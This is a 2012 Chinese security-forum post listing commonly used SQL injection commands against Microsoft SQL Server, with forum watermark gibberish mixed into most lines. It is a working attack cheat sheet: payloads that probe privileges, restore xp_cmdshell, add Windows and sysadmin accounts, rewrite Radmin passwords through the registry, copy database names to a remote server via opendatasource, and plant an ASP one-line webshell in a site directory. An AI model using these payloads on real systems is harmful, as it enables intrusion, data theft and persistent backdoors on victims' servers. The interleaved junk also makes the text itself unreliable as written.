找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2123|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令
6 }. D3 z$ g8 b, D# f) K//看看是什么权限的# e  n. }1 ^7 j" q" Z. D4 d* L
and 1=(Select IS_MEMBER('db_owner'))6 f* n6 }7 E1 c& y3 l8 b
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--* N( T  m; i" ^' w

: v% s- Z0 }+ }//检测是否有读取某数据库的权限  U0 ^2 D5 [3 J' S( a1 n
and 1= (Select HAS_DBACCESS('master'))
5 T* S( g% g/ J- j; z( t3 kAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --8 G, L8 l0 Y( j( k, Q$ L

) L( m0 }: Q: l$ C% f" s2 i/ u# _* `, i1 H* l. C- y* _6 `
数字类型* g7 p7 m- n1 i7 x, g+ c
and char(124)%2Buser%2Bchar(124)=06 F9 ?: _+ J- \0 D
7 m4 }9 j0 z3 h# g* {( K; _& j
字符类型
4 f" X8 W) t5 O' ^& P2 l, ^' and char(124)%2Buser%2Bchar(124)=0 and ''='2 {! U0 G1 d. O) |! g

2 u6 Z: Z% j$ X) R: y, m' c. Z+ d5 K搜索类型, i, G: S% H& n; F7 K2 Z* D1 I
' and char(124)%2Buser%2Bchar(124)=0 and '%'='7 \. d) `) D, v

5 ~. L% d3 O- e: Y) s爆用户名. U: \6 X: o. Y2 R
and user>0
4 |5 k6 T. M: t' and user>0 and ''='
% Z- g9 F% X5 s) W
8 o6 N: m; A9 @) R1 O: @检测是否为SA权限
8 R& ]. D- \: K% h  S# kand 1=(select IS_SRVROLEMEMBER('sysadmin'));--; [- c* r* `6 O, w
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
4 D5 d7 T  Q: N; i' f$ h, b. b
% v* G8 [! P! ?- Z检测是不是MSSQL数据库
" u" ^# I$ m4 Y0 g6 X( D. D' E* Sand exists (select * from sysobjects);--
# L/ r1 n9 q: \, O+ y8 e- K  M) r- R! L4 [8 C
检测是否支持多行
9 J+ ?2 I3 U, I; B; m4 e# `;declare @d int;-- : \; r7 L8 i. D, W. @

. k) V- G! Z4 F恢复 xp_cmdshell2 k$ ]5 N3 [& @3 o/ |( R7 X) L
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
* a8 ?; `' k: B6 f5 B4 h* l7 z, P" |" g* a) D' _( f
9 j) [# E2 J* E5 B; n
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 3 `! \9 g3 y( Z" _8 _

7 ^. j& j8 G1 l9 i9 n5 J) F//-----------------------
; @- l+ y7 b0 k+ P8 ?//      执行命令
6 y& \+ V- j( y9 H//-----------------------+ ?1 }8 A- b) @" Y9 M5 w3 ]
首先开启沙盘模式:
# M3 Q& N3 Y# b6 c/ @( B$ A6 fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
/ _3 v. C6 z0 R! N  y1 a/ x1 k) P1 G
然后利用jet.oledb执行系统命令$ G3 O6 x" K8 ]6 W! ^
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
0 f! e+ v% _: T; T0 i- ]& {8 b. J7 I3 _* s$ T/ ~
执行命令1 L5 e8 I5 A1 y2 y% Z% t* o, X0 K
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--1 ]0 u4 c% E& D7 [; R1 ~
1 s0 f& p, D1 z# H* j7 P; Z
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'5 [& D  u7 V( O0 {# n

9 c  f/ ^* [% N" g, \2 f判断xp_cmdshell扩展存储过程是否存在:
7 P0 M3 x  E# v6 U3 o+ @http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
/ W* o0 I" q3 u7 l( l% k2 X* s6 W  Q) g0 z3 U$ S$ O; T8 n" C
写注册表( Q/ Y) o9 j" K* t. U1 ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- T# i( t) }3 u5 z

' }$ P: H* p$ {4 p+ L" J* B! MREG_SZ
9 O! m8 e1 S2 ]  m
/ y5 `; r0 L' r" w& F+ f, }读注册表8 D# q4 ^! @3 V8 E# a3 p
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
! |3 c+ r, G$ ?$ p2 E; F$ [' K: D' e, |
读取目录内容9 K- V  n3 V! E% q
exec master..xp_dirtree 'c:\winnt\system32\',1,1
" x! M2 u' h$ u5 R; L. X: C# V' O# ?
' T8 e5 Q  p6 X) R3 ?& J. Y  @0 X2 t# _1 R; u0 J
数据库备份  o! R( V4 G! I7 [! K7 D/ P4 |
backup database pubs to disk = 'c:\123.bak'8 M$ P; B( l9 T, _* p+ `

8 s7 o5 J9 P' N6 S6 \//爆出长度
! k7 ?' Z6 o5 P0 xAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--* K" l; |( V- D$ D/ q# d1 X" L( M3 J( z
! [9 W4 U7 r3 m0 T
7 _" P) X' K! O

3 \" ~8 J, [$ ~8 t; ^$ q0 q0 `更改sa口令方法:用sql综合利用工具连接后,执行命令:; C( q; \% b6 d4 B
exec sp_password NULL,'新密码','sa'
$ f7 a7 T- b! M$ e9 I) e) z+ S0 X! ?' [1 s& V
添加和删除一个SA权限的用户test:
; }+ \% e4 M5 B# u: G5 D0 uexec master.dbo.sp_addlogin test,ptlove
  c9 Y2 v5 X7 [$ hexec master.dbo.sp_addsrvrolemember test,sysadmin  p! l* b2 O$ @. k

. t+ S& b8 @2 |! F, w9 u删除扩展存储过过程xp_cmdshell的语句:
/ s! e% c3 I9 @4 f7 P% Lexec sp_dropextendedproc 'xp_cmdshell'5 {; o) I3 K. l) M2 W# u

0 i) ?4 C4 L) K9 J. Z4 T添加扩展存储过过程( S2 J3 W& I  q' {# b
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 7 l' t* v$ w+ [5 J, z5 E* m3 ]3 @
GRANT exec On xp_proxiedadata TO public
9 `9 \* L3 P2 G' M$ R5 g6 _8 d7 L6 o' W- F8 G

# Q, M& o% g1 I% g7 k/ A1 `. U停掉或激活某个服务。 - D, A" i# ^5 W; _) f6 x2 f/ Y" v

& ^/ a5 m. q% ]- Y; J8 x8 |$ P+ Oexec master..xp_servicecontrol 'stop','schedule', D2 Y3 [- d- S; o
exec master..xp_servicecontrol 'start','schedule'  g+ G) J% p7 e1 \) D

9 i9 v! \) X+ K* ^dbo.xp_subdirs
5 \( B- Y3 J" u4 `" e9 f+ o  r2 Q! m( t* k( a, D
只列某个目录下的子目录。6 T9 ?$ e4 p. M- {% E' _, P" c
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'! f% F! A& k: O4 B, w! o' r/ b( y
/ P- i! a. o: R0 o
dbo.xp_makecab% ~: {% Q4 K0 e
) E( ?8 G! }+ j$ ?2 |  y
将目标多个档案压缩到某个目标档案之内。6 j* W% l. m# f
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。1 x5 R2 q, K$ h- [* k

  e8 P7 h; C% o9 Y/ C" p( a) ^dbo.xp_makecab
9 @2 ~8 j) Y# q1 y& ?5 E'c:\test.cab','mszip',1,
: Z6 X+ k% L5 Z'C:\Inetpub\wwwroot\SQLInject\login.asp',
7 }; G; |8 y2 e7 ]; ]'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
  O2 c) P" P/ v+ z8 D6 {# O2 K% g. V! i* q. s% H
xp_terminate_process1 a. f, ]! o9 F( L
) b! ]4 n3 z/ L7 _
停掉某个执行中的程序,但赋予的参数是 Process ID。
8 B3 J1 ?8 E' @4 E! \利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
) P8 K4 |% Y' f' \% f
4 `. ^3 ?# U& Y9 `, Pxp_terminate_process 2484  k2 |4 L$ T3 i' H
6 F( {; z4 i8 ?  P
xp_unpackcab1 O2 I4 d/ u2 {1 E: ?
2 H9 P2 g6 u3 a, r
解开压缩档。
1 y- J0 e) j+ [; H# l
4 r% O. p" g2 h$ X4 pxp_unpackcab 'c:\test.cab','c:\temp',1
$ G6 e% d7 L: d4 V* F" t
" I1 O0 S' ?9 s4 k3 X2 h) `7 Z: f& P  M* i1 Y: u  n
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12344 I6 S% G- I; d$ n# H9 Y6 [

: [9 L$ V7 Y: Q+ Lcreate database lcx;1 c7 d4 j* @+ P$ Q: c* q
Create TABLE ku(name nvarchar(256) null);* \9 j% l; H( X% r2 ~6 K9 d
Create TABLE biao(id int NULL,name nvarchar(256) null);
) q7 t+ _+ H: i* P3 L3 v$ y- N7 A
# _" ?' w; a) U1 x' ]//得到数据库名0 e: E6 T2 L9 Z% K& Y
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
: A: g1 h  J0 W+ J! x" |: h5 ^
/ P8 K' W# L& i# `  V5 n" C/ J, s5 p, a4 R
//在Master中创建表,看看权限怎样2 Y2 ]0 F7 C* R# G% @2 J$ j% S4 E
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
0 B, x- I4 ?! D- _% b* O
: F/ q% B& p+ Z用 sp_makewebtask直接在web目录里写入一句话马:
9 s9 ^* E7 D0 \) hhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--9 p6 a. ~$ b0 Z
# w) z9 l# X  S6 @1 Z
//更新表内容% E: D- w( @( L6 w' m; t6 o
Update films SET kind = 'Dramatic' Where id = 1234 T8 w" R4 {; K
2 _4 l. O; ^! k2 M
//删除内容
4 m, V0 T  B3 O/ W6 gdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表